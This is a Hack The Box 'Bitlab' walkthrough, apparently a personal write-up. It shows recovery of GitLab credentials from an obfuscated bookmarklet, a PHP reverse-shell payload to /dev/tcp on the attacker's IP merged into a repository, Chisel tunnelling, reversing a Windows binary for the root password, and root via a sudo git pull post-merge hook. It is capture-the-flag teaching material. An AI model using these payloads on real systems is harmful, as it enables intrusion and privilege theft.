alt text

Bitlab was a pretty hard box which included reversing .exe file and abusing sudoers file.

I first gained access to Gitlab login credential through deobfuscating javascript. From there, I injected php RCE script to profile page’s index.php file which spawned me shell as www-data. From here, I reverse engineered RemoteConnection.exe file to obtain credentials for the root. There was another way of privilege escalation to root, which was to create copy of the .git directories and make a git pull which includes a payload that will spawn a reverse shell as the root.

Information Gathering

Rustscan

Rustscan discovers SSH and HTTP open:

┌──(yoon㉿kali)-[~/Documents/htb/bitlab]
└─$ rustscan --addresses 10.10.10.114 --range 1-65535
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢
<snip>
Host is up, received syn-ack (0.41s latency).
Scanned at 2024-04-23 01:17:08 EDT for 0s
 
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
 
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds

Nmap

Nmap finds nothing interesting:

┌──(yoon㉿kali)-[~/Documents/htb/bitlab]
└─$ sudo nmap -sVC -p 22,80 10.10.10.114   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-23 02:01 EDT
Nmap scan report for 10.10.10.114
Host is up (0.41s latency).
 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.29 seconds

Enumeration

HTTP - TCP 80

10.10.10.114 redirects me to http://10.10.10.114/users/sign_in, which seems to be a GitLab Sign-in page:

alt text

Feroxbuster finds bunch of new valid paths.

I can map them with Burp Suite as such:

alt text

Feroxbuster finds two valid users as well: /root & /clave

alt text

alt text

Login Bypass

Going to /help/bookmarks.html, there are several Bookmarks:

alt text

Gitlab Login leads me to weird url encoding:

javascript:(function(){
        var _0x4b18=["\x76\x61\x6C\x75\x65",
                    "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E",
                    "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
                    "\x63\x6C\x61\x76\x65",
                    "\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64",
                    "\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"
                    ];
        document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

I will bookmark Gitlab Login as such:

alt text

Returning to sign-in page, credentials auto-fills:

alt text

By intercepting the request with Burp Suite, I can see the password in plain text: 11des0081x

alt text

With the found credentials, I can successfully sign-in:

alt text

I see two projects listed: Profile and Deployer. I would have to look in to this later.

Shell as www-data

Going to /dashboard/snippets, shows postgresql snippet:

alt text

It reveals the credentials for PostgreSQL profiles:profiles

/snippets/1

alt text

Index.php Reverse Shell

Now let’s move back and check on Project Profiles:

/root/profile

alt text

It seems like index.php is for the user description as such:

alt text

I will try adding php script to see if it work:

<?php echo system(‘whoami’); ?>

alt text

Without any restriction, I can merge the change to master branch:

alt text

After merging, /profile shows the executed command:

alt text

I would be able to get a reverse shell connection using the php script below:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.21/1337 0>&1'");
?>

After merging the change, I get a shell connection as www-data

alt text

Priesc: www-data to clave

After making the shell more interactive using python2 -c 'import pty; pty.spawn("/bin/bash")', I ran lse.sh to see if it finds anything.

I can run git pull with the root privilege, this is something interesting:

alt text

Uncommon SUID mount.cifs is found but this doesn’t seem very intriguing to me:

alt text

git pull privesc

This source shows a way on how to abuse git pull sudoer privilege:

alt text

In order to exploit this, I need write privilege on .git/hooks but www-data doesn’t have this privilege:

alt text

If www-data has a privilege to create file inside .git/hooks, I can create such payload inside of it and run git pull to run commands as the root:

alt text

Since www-data doesn’t have enough privilege to exploit this, I will move from here for now.

  • I thought this was not exploitable, but later from other’s write-ups I realized it is actually exploitable More at the below

Ping Sweep & Port Scan

From some enumeration, I realized that this server is running with docker.

Let’s see if there are any other network connected to this server:

alt text

It seems that 172.19.0.1 is also connected.

I will use ping sweep to see what host are actually open:

time for i in $(seq 1 254); do (ping -c 1 172.19.0.${i} | grep "bytes from" &); done

alt text

Ping sweep finds 5 hosts alive.

Since nmap is installed on the host, I will use it for port scanning:

nmap 172.19.0.2-5

alt text

.2 and .3 could be running Gitlab and postgres host is .5.

Tunneling

Running netstat -ntlp, I see local box is also listening on port 5432, which probally means this forwards to postgres container at .5:

alt text

psql command is not installed on the local box so I would have to port forward it to my local Kali machine:

alt text

Chisel

After transferring Chisel to the target box, I will start the client session towards Kali’s Chisel server so I can access port 5432 on my local kali machine:

./chisel_linux client 10.10.14.21:9000 R:5432:localhost:5432

alt text

On my Kali Chisel server, I have a connection made:

chisel server -p 9000 --reverse

alt text

Now with the credentials found from Postgresql snippet earlier, I can access port 5432 through from Kali machine:

psql -h 127.0.0.1 -p 5432 -U profiles

alt text

PSQL

Through \l, I will list all the DBs available. gitlab and profiles looks interesting to me:

alt text

I can connect to DB gitlab through \c gitlab:

alt text

Listing tables with \dt, I see a bunch:

alt text

Among all of them, users table looks interesting to me:

alt text

I can list columns inside of it through \d users and it has columns of encrypted password an username:

alt text

However it seems like I don’t have permission to read these:

alt text

I will move the DB connection to profiles:

alt text

There seems to be only one table in there:

alt text

It shows password for user clave: c3NoLXN0cjBuZy1wQHNz==

alt text

Using the found credential, I can sign-in to SSH as clave:

alt text

Privesc: clave to root

There are two ways for privescalation to root.

  • lower-user (clave,www-data) to root: Abusing sudoers
  • Clave to root: Reversing RemoteConnection.exe

RemoteConnection.exe

On Clave’s home directory, I see RemoteConnection.exe file which is quite odd since this machine is a Linux machine:

alt text

I will copy the .exe over to my local Kali machine through scp:

scp clave@10.10.10.114:~/RemoteConnection.exe .

alt text

ollydbg

I will first install ollydbg through apt install ollydbg.

After opening RemoteConnection.exe file, I will right click it and Search for all referenced text strings:

alt text

Here you’ll see a bunch of strings, one of which contains the username clave and the Access Denied msg.

alt text

Click on the Access Denied string and press F2 to set a breakpoint. This is where the program will halt if you F9 and allow it to run continuously.

alt text

Restart the program in the debugger. Now press F9 once to run the program. It will halt exactly where you placed the breakpoint. Once there, in the stack pane at the bottom right we see this:

alt text

This appears to be the root password. After some testing I found that the password actually is for root:

alt text

Git Pull

Second way of privesc to root is through abusing sudoers file.

Remember earlier that I mentioned abusing sudoers won’t be possible since I don’t have permission to create files inside .git/hooks? Well, I was wrong. There’s a way to bypass this:

alt text

In git, a pull is actually a git fetch followed by a git merge. I can make my own hook, a post-merge hook, and put a shell in there.

I could create a new project, but to do a git pull, I’ll need to connect it to a remote project. I could stand up my own git server on my kali box.

A much easier way to do this is to just copy one of the projects. I’ll copy it into a working directory in /tmp:

alt text

I’ll write a reverse shell as a post-merge hook, and set it executable:

alt text

Running git pull won’t work currently since there’s nothing to merge:

alt text

I made slight change in index.php so that there’s something to merge:

alt text

Now I can pull it:

alt text

Reverse shell as root is spawned on my local listener:

alt text

References